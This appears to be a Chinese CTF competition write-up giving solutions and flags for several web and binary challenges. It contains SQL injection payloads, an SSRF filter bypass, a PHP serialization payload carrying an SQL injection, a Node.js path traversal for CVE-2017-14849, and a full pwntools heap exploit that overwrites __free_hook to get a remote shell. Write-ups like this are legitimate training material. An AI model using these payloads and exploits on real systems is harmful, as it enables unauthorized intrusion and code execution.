点击蓝字 关注我们
easy_sql
1.Sqlmap可以直接跑出表为flag,但是列名跑不出来。手工看可以发现是报错注入,直接利用updatexml函数进行注入就ok,
2.用常规的updatexml函数来注入,可以看到flag
3.但是看不到全的flag,直接利用mid函数来看后半部分就ok
4.最终flag为:flag{c7651cb673c911ee8f9977094a220f17}
ezsqli
1. 可以看到waf过滤的很全,没法过,但是发现只是过滤的password,Username是没有过滤的。
2. 所以直接可以通过账号:'union select 1,'admin','test'# 密码:test 来进行绕过。
flag{de3110dce011088cd4add1950a49182f}
ssrf
1.主要是过验证码一关,需要输入的验证码的md5最后6位数需要的等于一个随机数,爆破一下就能得到答案,下面是爆破脚本:
import hashlib
from multiprocessing.dummy import Pool as ThreadPool
def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode('utf-8')).hexdigest()
keymd5 = '3e3021' #已知的md5截断值
md5start = 0 # 设置题目已知的截断位置
md5length = 6
def findmd5(sss): # 输入范围 里面会进行md5测试
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
# print(md5(i)[md5start:md5length])
if md5(i)[-6:] == keymd5: # 拿到加密字符串
result = i
print(result) # 打印
break
list=[] # 参数列表
for i in range(10): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()
2.因为是ssrf,所以可以通过file协议进行任意文件读写,但是直接读flag发现有个hacker,说明有过滤,最后通过双重url编码绕过。
flag{8f62d75de5b51d69799790cdf2cf05d4}
warmup
1. 下载附件,发现有反序列化,很简单,直接写序列化代码,然后username或者password写个万能密码,就能使得密码和账号相等了(ps:table 嫌重新构造sql语句麻烦,就盲猜了下,发现是对的)
class SQL {
public $table = '';
public $username = '';
public $password = '';
public $conn;
public function __construct(){
$this->table = 'users';
$this->password = "'or 1 or'1";
}
}
echo serialize(new SQL);
echo PHP_EOL;
echo base64_encode(serialize(new SQL));
SecretGuess
CVE-2017-14849漏洞
flag在 static/../../foo/../../../usr/local/app/.env
noteplus
漏洞在于edit函数中只写8bytes以后的部分,逻辑判断存在问题,如果size小于8,则可以一直写入数据,导致覆盖。
由于libc是2.27,所以有tcachebin,因此exp思路就是先创建几个chunk,然后释放掉直到第8次释放,就会被放到unsortedbin中,然后用前面的chunk覆盖0x18字节后就可以泄露libc的基址,然后再通过tcachebin攻击修改freehook为system,最后free一个/bin/sh就可以get shell。
攻击效果:
from PwnContext import *
#context.log_level = "debug"
ctx.binary = './noteplus'
ctx.remote = ('121.36.245.213',23333)
#ctx.custom_lib_dir = '/home/test/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'
#e=ELF(ctx.custom_lib_dir+'libc.so.6')
ctx.remote_libc = './libc-2.27.so'
e=ctx.remote_libc
malloc_hook=e.symbols['__malloc_hook']
realloc=e.symbols['realloc']
free_hook=e.symbols['__free_hook']
puts=e.symbols['puts']
system=e.symbols['system']
ctx.breakpoints = [0x14C8]
ctx.debug_remote_libc = True
#ctx.start()
ctx.start('remote')
#ctx.debug()
def Newnote(Index,Size):
ctx.sendlineafter("r choice:","1")
ctx.sendlineafter("Index:",Index)
ctx.sendlineafter("Size:",Size)
def Deletenote(Index):
ctx.sendlineafter("r choice:","2")
ctx.sendlineafter("Index:",Index)
def Editnote(Index,Content):
ctx.sendlineafter("r choice:","3")
ctx.sendlineafter("Index:",Index)
ctx.sendlineafter("Content:",Content)
def Viewnote(Index):
ctx.sendlineafter("r choice:","4")
ctx.sendlineafter("Index:",Index)
Newnote('0',"1")
Newnote('1',"1")
Newnote('2',"1")
Newnote('3',"128")
Newnote('4',"128")
Newnote('5',"128")
Newnote('6',"128")
Newnote('7',"128")
Newnote('8',"128")
Newnote('9',"128")
Newnote('10',"128")
Newnote('11',"1")
Deletenote('10')
Deletenote('9')
Deletenote('8')
Deletenote('7')
Deletenote('6')
Deletenote('5')
Deletenote('4')
Deletenote('3')
Editnote('2','x'*0x17)
Viewnote('2')
ctx.recvuntil('x'*0x17+'n')
libc_base=(u64(ctx.recv(6).ljust(8,'x00'))-malloc_hook-0x58)&0xfffffffff000
log.info('lib_base @ 0x%08x'%libc_base)
Editnote('2',2*p64(0)+p64(0x91))
Deletenote('1')
Editnote('0',2*p64(0)+p64(0x21)+p64(libc_base+free_hook-8))
Newnote('12','1')
Newnote('13','1')
Editnote('13',p64(libc_base+system))
Newnote('14','1')
Editnote('0',p64(0)*7+'/bin/shx00')
Deletenote('2')
ctx.interactive()
本文始发于微信公众号(IDLab):2020全国电信和互联网行业网络安全管理职业技能竞赛wp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论